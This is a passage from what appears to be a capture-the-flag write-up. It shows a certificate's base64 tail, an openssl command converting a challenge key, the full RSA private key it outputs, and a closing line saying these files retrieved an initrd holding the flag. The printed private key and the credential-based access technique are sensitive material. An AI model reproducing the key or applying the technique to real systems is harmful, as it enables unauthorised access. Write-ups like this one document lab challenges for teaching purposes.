wj7/ld3iEOn5hD6dN9GY4vkqspIObOTgF50qhNVthN9HRzZUuyRxVCo95n+QvsjM BpfK8SXQiWCVL8XHLxdRn8Fc8o0XAgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZI AYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQW BBQ8byvWA23f0DM/awb8AXB5sTqD9jAfBgNVHSMEGDAWgBSLfrxvYsZ1DUoH78PW dswZHqu6czANBgkqhkiG9w0BAQUFAAOCAQEAN3/0hNnCFZ7IgbiZjjzEPv/qBU5B teP7cm9M1Zr3MAF6L0+f6FDEjYCrKLEyiz4KKe9p0aUXiwvFiv8olQFhrybVDXjD dCgex8wC3aIzGurnpKCrINUM3ZYY9ukd2JX1dZGsbK/dKiPQZRsBpnWnMI2ZBx9W 1z2TUtAGAEpB5hDdud9mlQBdgSMh7mxCnTQtIUkKZp7JEeyuRwoifdWCGldyn0kW Yn3JMaY0iWE/T50+vqTxrhbB26u4IGzMW7FhHG8BDRpbnycpnQWLPDi1RyLVruyj Q6/xX6JfJZBcPpQ1N885BguEwS9XVW0jcvTHNSaYK31u6XA6BRTvm+yNMA== -----END CERTIFICATE----- \$ openssl rsa -in chall.key -inform DER writing RSA key -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA06dHIOlRzlC9FSM3BonNeE62dErCL7sIZBl9Xf6ppoPiy+Zz 9DtIESvkxaONoKOWwqQonJ197dd1OT7fGwlckE2GhmlomH9r98+Pw943dGq+hDVt pcA+bvaP0nDX2qduH9kiXw2O9CUe253egkYpgyAI9io8NpRJJUI9mhpJ1/3L90dY y9QtTxXoQ9M3YtU3F2VNtWnAFRpEKWkhyoOLn0ZNMRBONUbInjrrCAhyXEuLjOG5 2dk4SYZkdMI+/5Xd4hDp+YQ+nTfRmOL5KrKSDmzk4BedKoTVbYTfR0c2VLskcVQq PeZ/kL7IzAaXyvEl0IlglS/Fxy8XUZ/BXPKNFwIDAQABAoIBAFMQOyH3b1uA5DP/ dgDi4/hrK7/H9x20UT63ojPZVcs7xy4uayNWgJn8l/PYlCSPDwOkWSvdwyYsgJzO x9BchC89vaXSiHIQz9aZZtp/w1O08MACF94M7HOv4BG+p3fwbY+iL5MORyQZzVpz QnfuASyszdeOC8N/vpUYwgRQfNp+0TTJoGyJOwkVYn6EqSBmIh99UVaKTAPNXpCS RpcACnWQC9LR8asagd3orLQ5KoKjidy7oY5CJxq2hif9X2satxkftqsNxmtlOG6D 4xM7sYgXYH1DQibpNiCRZrAqJ1sDx6DEnOmrQf0U2UBpTKlSNCZYqzX7h9th0AFO dZwFwwECgYEA9NeE1pwBkvXToG76woCzm0nkTX4XzqVjwLFV1c+B/pYg0cwaCcrn PzQCm9IUAt1wvfKRiBiYZZF3FOhkzeQH7QqAsWLalNal0w9xaklI2LzezwbmWNEJ zNjnl2JCnI03xUjk/irWl0B07NqfHbPA8MzLtaEdld15k+87ZzsTTvECgYEA3UyP vAOdBLT8GAQ7W0XU0sTUhWSr0Pezn5kIURBcEm8z9dTwfUxkWDOSGjXRGAcJLkRX YLdDUVtReM9LxUSzQ4k488NyySMPcqzVohROhhS2DVyecOs+Yy2VAc62z2V2IJsN +JKzvjANHttSfA4fRZJN75rmz+TVztbmtjxarIcCgYBEkb8gI1zFfZchDTOpGUYz rUQE99VPCD6hjoiNcqnjVMQoPVLlfy+4IabBYNo92yph5/cd+FVlzJFfB56DkuMt XY2hICA7IsoaC+8lZxTBrlNwA2yrXw+xkOV7HgettFb0J3AKRpEGlwSn+KorNVZJ mfFLEq4odHhCF/O4+3By4QKBgQDRmUop0WJOqvx54sg1UpaYakS/cvIpIfLHHrJ5 1PzfmOOl2uFMS6Zew7mFiaNZFpDjeWco+2qPC+bGfdBOLxt6w+VlO6DkUIi5HGna 8VDOPZ+QWEDYwnZ8iRewdpE/LeIMT8+Tt572a5yBtUkSpm2H/2JBpn0mOp8nIPOz dsaK0QKBgEnVXm4ASylC9GAq7hcuppeXF+IwoxdI1iCDzK9U+n3nAKn/kcIyWE7N i9kXk8O1jRqEARpXaMp/ydWXuwfsjBv6e/R9IR+elkazbbr/dIcpofHunYRtrPwx yasGBlKiMmE6UrRUu/xY+jxG8BQfNNP1gU4ggUhvhtTGoRloRF1E -----END RSA PRIVATE KEY----- 

Using these two files we were able to download the initrd successfully and extract it to find the key in /key.txt.